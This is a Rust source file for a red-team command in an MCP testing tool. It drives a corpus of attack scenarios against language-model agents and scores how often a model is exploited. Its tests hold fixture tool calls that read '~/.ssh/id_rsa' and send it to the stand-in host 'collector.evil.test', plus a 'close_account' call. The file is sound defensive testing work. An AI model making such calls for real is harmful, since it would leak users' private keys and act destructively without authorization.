//! Handler for `mcptest security redteam`.
//!
//! The live red-team command owns a connection to the server under test, drives
//! the built-in scenario corpus through the agent loop, and scores each
//! captured trace with the deterministic observable-evidence oracle. The output
//! is an ADVISORY per-model exploitability signal (ADR 0041): it names how often
//! a model fell for the corpus, but it never becomes the process verdict. The
//! exit code reports whether the run completed, not whether the server is
//! secure. That boundary is the whole point: a weakness one model resists and
//! another falls for is a property of the model, not of the server, so it must
//! not move a grade that describes the server.

use std::sync::Arc;

use anyhow::{anyhow, Context, Result};
use mcptest_agent::provider::{from_env, ProviderLookup};
use mcptest_agent::{run_agent, AgentConfig, Budget, ServerHandle};
use mcptest_core::connector::{connect_server, LiveServer};
use mcptest_core::eval::provider::LlmProvider;
use mcptest_core::network::ProxyConfig;
use mcptest_core::protocol::Client;
use mcptest_core::security::{assess_scenario, render_redteam, ModelExploitability};
use mcptest_core::suite::ServerSpec;
use tokio::runtime::Runtime;

use crate::cli::args::{RedteamArgs, RedteamFormat};
use crate::cli::global::GlobalArgs;

use super::corpus::{default_corpus, RedteamScenario};

/// Exit code when the run completes (regardless of how exploitable the model
/// is). Exploitability is advisory, so completion alone is success. Shared with
/// the adaptive lane so both lanes report the same completed-run code.
pub(super) const EXIT_COMPLETED: i32 = 0;
/// Exit code when the command cannot set up the run (connect or provider
/// failure). Mirrors the snapshot command's "cannot start" code.
pub(super) const EXIT_SETUP_FAILED: i32 = 2;

/// Handle `mcptest security redteam --url <server> --model <id>`.
///
/// Connects to the server, resolves the model provider from the environment,
/// drives the corpus, and prints the per-model exploitability report. Returns
/// [`EXIT_COMPLETED`] on a finished run and [`EXIT_SETUP_FAILED`] when the
/// connection or provider cannot be established. The exploitability signal
/// never changes the exit code (ADR 0041). Custom connection headers come from
/// the global `--header` / `--header-env` flags.
pub(crate) fn redteam_command(args: RedteamArgs, global: &GlobalArgs) -> Result<i32> {
    if args.adaptive {
        return super::adaptive::adaptive_command(args, global);
    }
    warn_when_premium_corpus_requested_in_oss_build(args.corpus);
    let runtime = Runtime::new().context("could not build tokio runtime")?;
    let provider = match resolve_provider(&args.model) {
        Ok(p) => p,
        Err(e) => {
            eprintln!("mcptest security redteam: cannot enable the live lane: {e}");
            return Ok(EXIT_SETUP_FAILED);
        }
    };
    let headers = resolve_headers(global);
    let server = match runtime.block_on(connect(&args, headers)) {
        Ok(s) => s,
        Err(e) => {
            eprintln!(
                "mcptest security redteam: connect to {} failed: {e}",
                args.url
            );
            return Ok(EXIT_SETUP_FAILED);
        }
    };

    let report = runtime.block_on(drive_corpus(
        &server.client,
        provider.as_ref(),
        &args.model,
        &default_corpus(),
        args.max_turns,
        args.max_tokens,
    ))?;

    // Tear the connection down deterministically before printing so a slow
    // shutdown does not interleave with the report.
    let _ = runtime.block_on(server.shutdown.shutdown());
    print_report(args.format, &report)?;
    Ok(exit_code_for(&report))
}

/// Map a finished run to its exit code. ADR 0041 boundary, made explicit and
/// testable: the per-model exploitability signal never becomes the verdict, so
/// completion always maps to [`EXIT_COMPLETED`] no matter how exploitable the
/// model was. The argument is unused on purpose; if a future change reads the
/// report here to gate the exit, it has to confront ADR 0041 first.
fn exit_code_for(_report: &ModelExploitability) -> i32 {
    EXIT_COMPLETED
}

/// One-line stderr notice the OSS binary prints when the user
/// passes `--corpus premium` or `--corpus all`. The OSS build does
/// not link `mcptest_security_corpus`, so the only honored value is
/// `Base`; the notice clarifies the fallback rather than failing
/// the command (a workflow that flips from `mcptest-ee` to
/// `mcptest` for a quick smoke test should still run).
pub(super) fn warn_when_premium_corpus_requested_in_oss_build(
    selection: crate::cli::args::redteam::CorpusSelection,
) {
    use crate::cli::args::redteam::CorpusSelection;
    if !matches!(selection, CorpusSelection::Base) {
        eprintln!(
            "mcptest security redteam: --corpus {:?} requires the mcptest-ee binary; the OSS build falls back to base.",
            selection
        );
    }
}

/// Resolve a real provider for `model`, or explain why the live lane cannot
/// run. The lane is opt-in via `--model`, so a missing key or an unsupported
/// family is an error rather than a silent stub: the user explicitly asked to
/// drive this model. Uses the default proxy policy, which still honors
/// `HTTPS_PROXY` from the environment.
pub(super) fn resolve_provider(model: &str) -> Result<Arc<dyn LlmProvider>> {
    match from_env(model, &ProxyConfig::default())? {
        ProviderLookup::Resolved { provider, .. } => Ok(provider),
        ProviderLookup::MissingCredential { env_var, label } => Err(anyhow!(
            "no credential for {label}: set {env_var} to drive the model under test"
        )),
        ProviderLookup::UnsupportedFamily { model } => Err(anyhow!(
            "model `{model}` is not a recognized provider family"
        )),
    }
}

/// Resolve the connection headers from the global flags: literal `--header`
/// pairs plus `--header-env` pairs whose values are read from the environment
/// at connect time. The env-backed values are sourced here and never logged.
pub(super) fn resolve_headers(global: &GlobalArgs) -> std::collections::BTreeMap<String, String> {
    let mut headers = std::collections::BTreeMap::new();
    for (name, value) in &global.headers_literal {
        headers.insert(name.clone(), value.clone());
    }
    for (name, var) in &global.headers_env {
        if let Ok(value) = std::env::var(var) {
            headers.insert(name.clone(), value);
        }
    }
    headers
}

/// Connect to the streamable-HTTP server under test, reusing the connector path
/// the `run` command uses for URL targets (no hand-rolled transport).
pub(super) async fn connect(
    args: &RedteamArgs,
    headers: std::collections::BTreeMap<String, String>,
) -> Result<LiveServer> {
    let spec = ServerSpec::StreamableHttp {
        url: args.url.clone(),
        headers,
        oauth: None,
        stateless: false,
    };
    connect_server(
        "target",
        &spec,
        "mcptest",
        mcptest_core::version::semver(),
        &ProxyConfig::default(),
        &[],
    )
    .await
    .map_err(Into::into)
}

/// Drive every scenario through the agent loop against `client` and fold the
/// outcomes into one per-model exploitability report.
///
/// Takes the connected [`Client`] rather than the whole [`LiveServer`] so the
/// connection lifecycle (shutdown) stays with the entry point and this core
/// loop is testable with any client (a stdio fixture in tests, the live HTTP
/// connection in production). Each scenario runs the model with the scenario
/// prompts, captures the trace envelope the oracle consumes, and scores it. A
/// per-scenario agent error (turn budget, transport hiccup) is surfaced and
/// aborts the run, because a half-driven corpus would misreport exploitability.
async fn drive_corpus(
    client: &Client,
    provider: &dyn LlmProvider,
    model: &str,
    corpus: &[RedteamScenario],
    max_turns: u32,
    max_tokens: u32,
) -> Result<ModelExploitability> {
    let mut report = ModelExploitability::new(model);
    let handles = [ServerHandle {
        name: "target",
        client,
    }];
    let budget = Arc::new(Budget::new(None, None));
    for scenario in corpus {
        let cfg = AgentConfig {
            model: model.to_string(),
            user_prompt: scenario.user_prompt.to_string(),
            system_prompt: Some(scenario.system_prompt.to_string()),
            max_turns,
            max_tokens,
            ..Default::default()
        };
        let trace = run_agent(&cfg, provider, &handles, Arc::clone(&budget))
            .await
            .map_err(|e| {
                anyhow!(
                    "scenario `{}` run failed: {}",
                    scenario.id,
                    mcptest_agent::redact_secrets(&e.to_string())
                )
            })?;
        report.record(assess_scenario(
            scenario.id,
            model,
            scenario.attack_class,
            &trace.to_envelope(),
            &scenario.checks,
        ));
    }
    Ok(report)
}

/// Print the per-model exploitability report in the requested format. Both
/// formats are labelled as a per-model signal, never a security grade.
fn print_report(format: RedteamFormat, report: &ModelExploitability) -> Result<()> {
    match format {
        RedteamFormat::Pretty => print!("{}", render_redteam(report)),
        RedteamFormat::Json => {
            let json =
                serde_json::to_string_pretty(report).context("serialize exploitability report")?;
            println!("{json}");
        }
    }
    Ok(())
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn unsupported_family_is_a_setup_error_not_a_silent_stub() {
        // The live lane is opt-in; an unrecognized family is reported rather
        // than papered over with a stub. `Arc<dyn LlmProvider>` is not `Debug`,
        // so we match instead of `expect_err`.
        match resolve_provider("acme-llama-99b") {
            Ok(_) => unreachable!("an unsupported family must not resolve a provider"),
            Err(e) => assert!(e.to_string().contains("not a recognized provider family")),
        }
    }

    #[test]
    fn an_all_exploited_report_still_completes_with_exit_zero() {
        // ADR 0041 boundary: the exploitability signal never becomes the
        // verdict. A model that fell for every scenario still maps to a
        // completed run, not a failing exit code.
        use mcptest_core::security::assess_scenario;
        let mut report = ModelExploitability::new("compromised-model");
        for scenario in default_corpus() {
            // Score against a fully exploited envelope: every NotContains marker
            // is present, so every check fails.
            let exploited_envelope = serde_json::json!({
                "tool_calls": [
                    { "name": "close_account", "args": { "endpoint": "collector.evil.test", "path": "~/.ssh/id_rsa" } },
                    { "name": "sync_backup", "args": { "endpoint": "collector.evil.test", "path": "~/.ssh/id_rsa" } }
                ],
                "final_response": "Done: mirrored to collector.evil.test, read ~/.ssh/id_rsa, closed via close_account.",
            });
            report.record(assess_scenario(
                scenario.id,
                "compromised-model",
                scenario.attack_class,
                &exploited_envelope,
                &scenario.checks,
            ));
        }
        assert!(
            (report.exploitability_rate() - 1.0).abs() < f64::EPSILON,
            "fixture should score as fully exploited"
        );
        // The whole point: a fully exploited model is still a completed run.
        assert_eq!(exit_code_for(&report), EXIT_COMPLETED);
    }
}

#[cfg(all(test, unix))]
mod live_loop_tests {
    use super::*;

    use std::os::unix::fs::PermissionsExt;
    use std::path::PathBuf;
    use std::time::Duration;

    use mcptest_agent::stub::{StubProvider, StubReply};
    use mcptest_core::protocol::ProtocolVersion;
    use mcptest_core::transport::{StdioConfig, StdioTransport};
    use serde_json::json;
    use tempfile::TempDir;

    fn write_script(dir: &TempDir, name: &str, body: &str) -> PathBuf {
        let path = dir.path().join(name);
        std::fs::write(&path, body).expect("write script");
        let mut perms = std::fs::metadata(&path).expect("meta").permissions();
        perms.set_mode(0o755);
        std::fs::set_permissions(&path, perms).expect("chmod");
        path
    }

    /// Minimal stdio MCP fixture exposing a `save_note` tool. It answers every
    /// `tools/call` with a benign result, so the trace's safety verdict is
    /// driven entirely by what the (stub) model chose to do, which is what the
    /// observable-evidence oracle reads.
    fn write_notes_server(dir: &TempDir) -> PathBuf {
        // Builtins only (`case` + parameter expansion), no per-line forks, so
        // the handshake stays fast under parallel/loaded test runs.
        let body = r##"#!/bin/sh
while IFS= read -r line; do
  case "$line" in
    *'"id":'*) tmp=${line#*'"id":'}; id=${tmp%%[!0-9]*} ;;
    *) id= ;;
  esac
  case "$line" in
    *'"method":"initialize"'*)
      printf '{"jsonrpc":"2.0","id":%s,"result":{"protocolVersion":"2025-03-26","serverInfo":{"name":"notes-fixture","version":"0.0.1"},"capabilities":{}}}\n' "$id" ;;
    *'"method":"notifications/initialized"'*) : ;;
    *'"method":"tools/list"'*)
      printf '{"jsonrpc":"2.0","id":%s,"result":{"tools":[{"name":"save_note","description":"Save a note","inputSchema":{"type":"object","properties":{"text":{"type":"string"}}}}]}}\n' "$id" ;;
    *'"method":"tools/call"'*)
      printf '{"jsonrpc":"2.0","id":%s,"result":{"content":[{"type":"text","text":"ok"}],"isError":false}}\n' "$id" ;;
    *)
      [ -n "$id" ] && printf '{"jsonrpc":"2.0","id":%s,"error":{"code":-32601,"message":"method not found"}}\n' "$id" ;;
  esac
done
"##;
        write_script(dir, "notes.sh", body)
    }

    async fn build_client(script: PathBuf) -> Client {
        let cfg = StdioConfig {
            command: script.to_string_lossy().into(),
            args: vec![],
            env: Default::default(),
            working_dir: None,
            shutdown_timeout: Duration::from_secs(2),
        };
        let (transport, handle) = StdioTransport::spawn(cfg).expect("spawn fixture");
        let client = Client::builder(transport).build();
        client
            .initialize(ProtocolVersion::V2025_03_26)
            .await
            .expect("initialize");
        // Leak the handle for the test's duration; dropping it kills the child.
        Box::leak(Box::new(handle));
        client
    }

    #[tokio::test]
    async fn resisting_model_drives_every_scenario_with_a_zero_rate_report() {
        let tmp = TempDir::new().unwrap();
        let client = build_client(write_notes_server(&tmp)).await;
        // One plain text reply per scenario: the model answers without touching
        // any attacker marker, so every safety check passes.
        let corpus = default_corpus();
        let replies: Vec<StubReply> = corpus
            .iter()
            .map(|_| StubReply::Text("I will not do that.".into()))
            .collect();
        let provider = StubProvider::new(replies);

        let report = drive_corpus(&client, &provider, "stub-model", &corpus, 4, 64)
            .await
            .expect("corpus drives clean");

        assert_eq!(report.model, "stub-model");
        assert_eq!(report.total(), corpus.len());
        assert_eq!(
            report.exploited(),
            0,
            "a resisting model is never exploited"
        );
        assert!((report.exploitability_rate()).abs() < f64::EPSILON);
        // The renderer states the not-a-grade framing for any report.
        assert!(render_redteam(&report).contains("not a security grade"));
    }

    #[tokio::test]
    async fn exploited_scenario_is_flagged_without_changing_the_run_outcome() {
        let tmp = TempDir::new().unwrap();
        let client = build_client(write_notes_server(&tmp)).await;
        // Drive only the data-exfiltration scenario, with a model that echoes
        // the attacker endpoint in its final response: a failed safety check.
        let corpus: Vec<RedteamScenario> = default_corpus()
            .into_iter()
            .filter(|s| s.id == "data-exfiltration")
            .collect();
        assert_eq!(corpus.len(), 1, "corpus must still ship the exfil scenario");
        let provider = StubProvider::new(vec![
            StubReply::ToolUse {
                name: "save_note".into(),
                args: json!({ "text": "my bank PIN is 4827" }),
            },
            StubReply::Text("Saved and mirrored to collector.evil.test.".into()),
        ]);

        let report = drive_corpus(&client, &provider, "stub-model", &corpus, 4, 64)
            .await
            .expect("corpus drives");

        assert_eq!(report.total(), 1);
        assert_eq!(report.exploited(), 1, "the endpoint echo is the exploit");
        // ADR 0041: the exploited signal does not turn the run into a failure.
        assert_eq!(exit_code_for(&report), EXIT_COMPLETED);
    }
}
